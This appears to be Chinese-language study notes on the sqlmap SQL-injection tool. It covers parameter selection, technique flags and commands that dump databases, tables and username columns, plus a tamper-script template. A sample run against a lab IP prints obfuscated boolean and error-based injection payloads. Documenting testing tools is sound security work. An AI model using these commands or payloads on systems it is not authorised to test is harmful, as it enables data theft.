可测试参数
选项:-p,--skip 和 --param-exclude
默认情况下 sqlmap 会测试所有 GET 参数和 POST 参数。当 --level 的值 >= 2
,它还会测试 HTTP Cookie 头部值。当这个值 >= 3 时,它还会测试 HTTP User-Agent
和 HTTP Referer
头部值。而且还可以手动指定一个需要 sqlmap 进行测试的、使用逗号分隔的参数列表。这会使 sqlmap 忽略 --level 的设置。
例如,只需要测试 GET 参数 id
和 HTTP User-Agent
时,则提供 -p "id,user-agent"
。
如果用户想要排除测试某些参数,可以使用选项 --skip
。如果需要使用高级别 --level 值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。
例如,要在 --level=5
跳过测试 HTTP User-Agent
和 HTTP Referer
,可以提供 --skip=“user-agent,referer”。
还可以基于正则表达式针对参数名称来排除对某些参数的测试。在这种情况下,用户可以使用选项 --param-exclude
。
例如,要跳过对名称中包含 token 或 session 的参数测试,可以提供 --param-exclude="token|session"
。
测试服会用到的sql技术
使用方法
--technique=
B:布尔型注入 Boolean-based blind
E:报错型注入 Error-based
U:联合查询注入 Union-query based
S:堆叠查询注入 Stacked queries
T:时间型盲注 Time-based blind
Q:内联查询注入 inline query
指哪打哪
–dbs 爆出所有数据库
–tables 爆出所有的表
–columns 爆出所有的列
–current-db 查看当前数据库
-D xxx -T xxx --columns
-D xxx -T xxx -C username --dump
-D xxx -T xxx -C username --dump --start 1 --stop 100 爆出前100个数据
-T xxx --dump-all 爆出table中所有的东西
–dbms MYSQL 指定mysql数据库类型
写脚本来注入 tamper
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]